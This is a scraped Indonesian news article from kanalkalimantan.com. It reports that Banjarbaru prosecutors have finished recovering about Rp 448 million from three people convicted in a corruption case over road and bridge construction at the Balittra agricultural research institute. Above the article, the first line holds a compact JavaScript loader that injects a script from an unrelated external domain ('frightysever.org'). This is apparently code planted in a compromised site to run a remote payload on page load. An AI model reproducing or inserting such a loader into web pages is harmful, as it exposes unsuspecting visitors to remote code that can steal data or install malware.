(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Hukum

Tim Jaksa Eksekutor Kembalikan Kerugian Negara Rp 100 Juta dari Kasus Korupsi Balittra


KANALKALIMANTAN.COM, BANJARBARU – Untuk kali ketiga, tim jaksa eksekutor Seksi Pidana Khusus Kejaksaan Negeri (Kejari) Banjarbaru, kembali menyetorkan uang denda sebesar Rp 100 juta dari terpidana DA dan MN, dalam perkara tindak pidana korupsi di Balai Penelitian Pertanian Lahan Rawa (Balittra) Banjarbaru.

Sebelumnya tim jaksa eksekutor telah menyetorkan uang rampasan sebesar Rp 80 juta, pembayaran uang pengganti dan denda dari terpidana SF sebesar Rp 268 juta lebih. Serta pembayaran denda sebesar Rp 50 juta dari terpidana MN dan pembayaran uang denda sebesar Rp 50 juta dari terpidana DA.

“Dengan dibayarnya denda dari ketiga terpidana tersebut, maka proses eksekusi atas perkara Balitra Banjarbaru yang dilakukan tim jaksa eksekutor Seksi Pidana Khusus Kejari Banjarbaru telah selesai. Dengan total uang yang berhasil diselamatkan dan disetor ke kas negara adalah sebesar Rp 448 juta lebih,” ungkap Kajari Banjarbaru Andri Irawan, Selasa (21/7/2020).

Dia menerangkan, Perkara tindak pidana korupsi yang dilakukan terpidana SF dan DA yang merupakan pelaksana, serta MN yang merupakan PNS pada Balitra Banjarbaru, berawal dari kegiatan pembuatan jalan usaha tani, pengerasan jalan usaha tani, pengaspalan jalan utama kebun, dan 11 unit pembangunan jembatan. Dengan nilai kontrak sebesar Rp. 1.208.460.000.

 

Baca juga :

“Dari fakta persidangan terbukti bahwa perbuatan mereka merugikan negara sesuai dengan hasil perhitungan dari BPKP Provinsi Kalimantan Selatan. Kerugian keuangan negara tersebut telah dipulihkan seluruhnya, dengan dedikasi dan kerja keras Insan Adhyaksa pada Kejaksaan Negeri Banjarbaru,” terangnya.

Diungkapkannya, dengan penyelamatan uang negara sebesar Rp 448.636.705 sekaligus menjadi kado dalam peringatan Hari Bhakti Adhyaksa ke- 60 tanggal 22 Juli 2020 besok.(kanalkalimantan.com/rico)

 

Reporter : Rico
Editor : Bie

Desy Arfianty

Recent Posts

‎Satlantas Polres HSU Bersama Ojol Mitra Tertib Berlalu Lintas ‎

‎KANALKALIMANTAN.COM, AMUNTAI - ‎Satuan Lalu Lintas (Satlantas) Polres Hulu Sungai Utara (HSU) menggelar kegiatan bertajuk… Read More

11 jam ago

Jemaah Haul ke-6 Abah Haji Penuhi Jalan Masjid Jami Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Lautan manusia jemaah Haul ke-6 KH Muhammad Zuhdianoor atau dikenal Abah Haji… Read More

13 jam ago

Satgas Saber Pangan HSU Turun ke Pasar Induk Amuntai

KANALKALIMANTAN.COM, AMUNTAI - Menjelang bulan Ramadan, Badan Pangan Nasional (Bapanas) bersama Satgas Saber Pangan Kabupaten… Read More

13 jam ago

Bupati Banjar Ingatkan Kantor Desa Garda Terdepan Pelayanan dan Bebas Pungli

KANALKALIMANTAN.COM, MARTAPURA – Bupati Banjar H Saidi Mansyur meresmikan tiga kantor desa dan Taman Pendidikan… Read More

13 jam ago

Cuti Bersama Tahun Baru Imlek, PTAM Intan Banjar Sesuaikan Jam Kerja Kantor Pelayanan

KANALKALIMANTAN.COM, BANJARBARU – Jam pelayanan dan jam kerja di kantor pelayanan PT Air Minum (PTAM) Intan… Read More

14 jam ago

Bapokting Naik, Wakil Wali Kota Ananda: Jangan Sampai Panic Buying!

KANALKALIMANTAN.COM, BANJARMASIN - Wakil Wali Kota Banjarmasin, Hj Ananda mengimbau masyarakat untuk tidak panic buying… Read More

19 jam ago

This website uses cookies.